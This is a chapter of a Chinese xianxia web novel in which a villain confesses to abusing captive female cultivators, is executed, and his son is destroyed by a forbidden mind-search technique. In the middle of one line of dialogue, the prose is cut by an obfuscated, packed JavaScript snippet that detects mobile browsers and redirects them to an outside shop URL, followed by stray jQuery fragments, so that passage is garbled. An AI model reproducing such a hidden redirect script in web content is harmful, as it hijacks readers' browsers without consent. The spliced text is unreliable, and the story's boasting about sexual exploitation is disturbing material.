19. 第 19 章

作品:《我成了正反派的白月光

    秦宣整个人瘫软在地,完了。


    他们全须全尾从困仙阵里出来,说明天丝神女已然遇难。


    ……他的依傍啊!!没了神女,谁来给他续命!


    人之将死,会爆发出巨大的求生欲,秦宣跪在地上,连连磕头:“仙君!仙君饶命!”


    他一五一十将天丝神女如何降临炎陵庄,又是如何蛊惑妖兽靠近,让他放出消息诱来修士,让他们成为供奉。


    秦宣隐去自己和天丝神女的交易,涕泪俱下,全然将自己塑造成一个被妖邪操控的可怜人。


    谢寒卿的眼神如同一层覆着月色的薄雪。


    他听完秦宣狡辩,忽然问:“秦庄主,为何这些女修都有被当作炉鼎的痕迹?”


    他话音落,隐在暗处的修士尸身们俱都漂浮过来,将秦宣和秦虎团团围住。


    她们面色灰白,如同雕塑,瞪着空洞的眼,仿佛在质问。


    江似看着缭绕在秦宣身子周边的红色絮状物,突然眯了眯眼。


    秦宣脸上的惊惧不见了,取而代之的是一种愤恨的,张狂的神色。


    他嘿嘿笑起来:“炉鼎?我等凡人,又无灵根,无法采补,不过是借助这些女修滋养身体罢了,可惜了陶知儿,真乃尤物……”


    秦虎愕然睁大眼,忙打断他:“爹!!”


    这些是他们父子二人最深的秘密,他如何能说出来!


    老者脸上却露出一点回味的神色:“老夫丧妻已逾二十载,但遇到这陶知儿之后,却能夜御三女,一树梨花压海棠,销魂滋味,不过于此!”


    他面上又浮现出嘲讽之色:“可笑那陶知儿,竟以为老夫只是贪图她的美貌,竟将一张脸尽数毁去。”


    “笑话!生了一副下贱的身子,只毁掉脸有什么用?我父子二人还不是照常享用?”


    秦虎一张脸臊得通红,他试图上去阻止他爹再胡言乱语,却被一道无形的力量压制住,动弹不得。


    秦宣全然不惧,如同狂热的信徒高举双手:“老夫已经知道今日是活不成了,神女消亡,尔等罪人,定遭天罚!”


    冰凉的长剑抹他的脖颈。


    鲜血噗呲四溅,没有沾染谢寒卿衣袍半分,秦宣瞪着一双浑浊的眼,缓缓倒地。


    谢寒卿收起怀卿剑,双指为并,虚虚抹去剑上鲜血:“如你所愿。”


    江似懒懒看着他身周逐渐消散的红色絮状物,只觉凡人真是无趣,连欲念都那么直白。


    他看一眼,便忙不迭将最深处的秘密都抖落出来。


    又哪里像修士,表面上看起来一个个清心寡欲,实则……


    想起齐玉明和白晚,他讽刺地勾了下唇角。


    秦虎的□□处已然湿了大片,他抖如筛糠,用一种鱼死网破的语气说:“你若是杀了我,你们那个叫谭芸的弟子就永远回不来了!”


    江似的眉梢动了下,他看向谢寒卿。


    小仙君面无表情,看不出丝毫紧张。


    他们的沉默仿佛纵容了秦虎的嚣张,他拧笑道:“放我走!我安全之后就告诉你她到底被藏在了哪里!”


    “我知道你们修士有各种古怪的感应手段,但我告诉你,没用。”


    “神女所赐之物,又岂是区区修士能破解——”


    一股无法抵抗的力量直直钻入了秦虎脑中。


    如同挟着浩荡百川,冰凉雪意在他脑海中翻搅,搜寻。


    秦虎的身子控制不住抽搐起来,整个人眼珠上翻,口吐白沫,场面极为渗人。


    江似眼瞳微微一缩。


    搜神术,谢寒卿他……竟当着他的面使用禁术?


    不知何时又开始下雪。


    小仙君被鹤冠高束的长发上落下一层薄雪。


    他眼瞳淡漠,冷白指骨微抬,表情神性又疏离,全然不似在施展一道邪术,只是认真的,仔细的在那些龌龊而纷繁的记忆中搜寻他要的东西。


    一道带着颤意的声音响起:“……谢师兄?”


    江似回过头,见白晚,齐玉明,还有另外两个天玑山弟子站在原地,眼神惊恐看着正在施展禁术的谢寒卿。


    他心底快意不已,几乎就要开口介绍谢寒卿用的是什么禁术。


    但不需要了。


    从他们脸上的表情可以看出来,谁不知道谢寒卿在做什么呢?


    扑通。


    秦虎身子绵软地倒了下去,涎水糊了满脸,身下一阵腥臊味弥漫开。


    搜神之所以是禁术,正是因为此术会生生搅乱人的神识,若是操控不好,修为高者会神识紊乱,修为低者则会直接变得痴傻,且不可逆转。


    若用在凡人身上……此人断断承受不了谢寒卿的灵力,已然是活不成了。


    谢寒卿并未多看秦虎一眼,偏了偏头,声音很淡:“是谭芸失踪了么?”


    白晚身子微微颤抖,她嘴唇动了又动,忽然看到谢寒卿冷白脖颈处有一道刺目的红。


    像是……吻痕。


    齐玉明头皮发麻,声音干涩:“是,方才我们寻遍四处,都找不到她人。”


    他眼神闪躲,也在看那道红痕。


    似乎注意到他们的视线,谢寒卿抬手轻轻碰了下脖颈处,红痕消失不见,他道:“走吧,我知道她在哪。”


    他们跟着谢寒卿,在一处岩洞中找到了谭芸。


    她被一条红金交织的绳索困住,仍然在昏迷不醒。


    齐玉明帮她解开绳索,好奇道:“这是什么东西,竟能隐匿修士的气息?难怪我们寻遍了各处也找不到她。”


    绳索漂浮到谢寒卿手中,冰蓝色的灵火挟裹而上,将其烧成灰烬。


    齐玉明心中惋惜,但又不敢开口置喙。


    他知道其他人也如此,自从看到谢寒卿使用搜神术之后,他们对这个一直敬仰敬重的天才,多了一丝恐惧。


    使用禁术被同门撞破,却丝毫不见惊惶。


    仿佛他私下里……已经使用过多次。


    谢寒卿带着众人返回了晓天山庄,将来龙去脉说与众人听。


    白晚奚落道:“天丝神女?一个邪祟,也敢自称为神?”


    她满不在乎说:“这邪祟的确有些古怪,但谢师兄那么厉害,自然不堪为对手。”


    齐玉明问:“谢师弟可看到那所谓神女的本相了?”


    谢寒卿眼睫都未抬一下:“并未,我先行捣毁了她的灵元


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900490|192126||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,邪祟已化为齑粉。”


    一双黢黑的眼瞳看向谢寒卿。


    江似听着白晚对他连连夸赞,状似附庸:“谢师兄这般厉害,又怎么可能解决不了一个邪祟?”


    谢寒卿淡淡睨他一眼。


    他的眸中分明什么也没有,但轻易就惹恼了江似。


    他暗自咬了下牙,心底骂他和宁竹碍事。


    若非他们二人多事,宁竹体内那东西合该成为他的,就如同这对邪瞳,他定能将那玩意儿好好利用起来!


    又怎么会落入现在这样尴尬的局面?


    江似看了一眼昏迷不醒的宁竹,冷哼一声,踢门而出。


    白晚瞪着他的背影,很大声说:“一个拖累,脾气还那么大!”


    风雪倒灌,卷入屋中,齐玉明起身将门掩上,问谢寒卿:“说来他们二人为何会跟谢师弟在一起?”


    谢寒卿淡淡道:“凑巧遇上而已。”


    见他不愿透露过多,白晚不满道:“谢师兄,那么凶险的邪祟,你不叫我们帮忙就算了,怎么还带着两个拖累前去。”


    谢寒卿忽然看了她一眼。


    白晚手臂上起了一层细密的疙瘩,她抿了抿唇,小声说:“……我说的也是实话,你看她,不仅没帮上忙,还把自己弄成这样。”


    “她帮上忙了。”


    “正是因为那邪祟,她才陷入昏迷。”


    白晚还欲争辩,对上他那双色若琉璃,寒冰般剔透的眼,霎时缄口。


    不知为何,谢师兄向着那个凡人施展搜神术的场景一次又一次浮现在脑海中。


    仿佛昔日她记忆中那个光风霁月,高山仰止的谢师兄都是一层幻像,他本该这般蔑视规则,漠视生命。


    白晚换了个话题:“那些遇难的修士要怎么处理?”


    齐玉明道:“都是些散修,无门无派,被骗到此处丢了性命,委实可怜。”


    “要我看不若把他们带回天玑山下安葬,也好有个栖身之处。”


    非本宗弟子不得入本宗坟茔,但这些年魔修肆虐,妖鬼横行,死于非命的人不少。


    清虚真人特命人在天玑山下修建了一座陵园,以收容这些无处可归的可怜人。


    谢寒卿颔首:“此事齐师兄看着办就好。”


    白晚嫌弃地瞥了齐玉明一眼。


    贪图名利的小人,邪祟又不是他诛杀的,这些人又不是他救出来的,抢什么功?


    也就是谢师兄从来不在意这些身外之名。


    她一想到此人在自己身上又摸又抱,便觉得怒火中烧。


    逼他起了誓又如何,能抹掉她做的那些事情吗要不是顾及他是闻道师兄的弟子,她真想现在就把他杀了,以绝后患。


    想到此事,白晚又觉得心脏沉沉坠下去。


    昨晚看到此事的人,除了谢师兄和宁竹,还有那个江似。


    谢师兄品性高洁,自是不会诋毁她的名誉,宁竹叶算了,看上去是个没什么心眼的傻子,姑且饶她一命。


    但那个江似……嚣张跋扈,性情恶劣!


    白晚想到什么,面上渐渐浮现出一丝甜笑:“谢师兄,雾妖还没除呢,我们什么时候去诛妖?”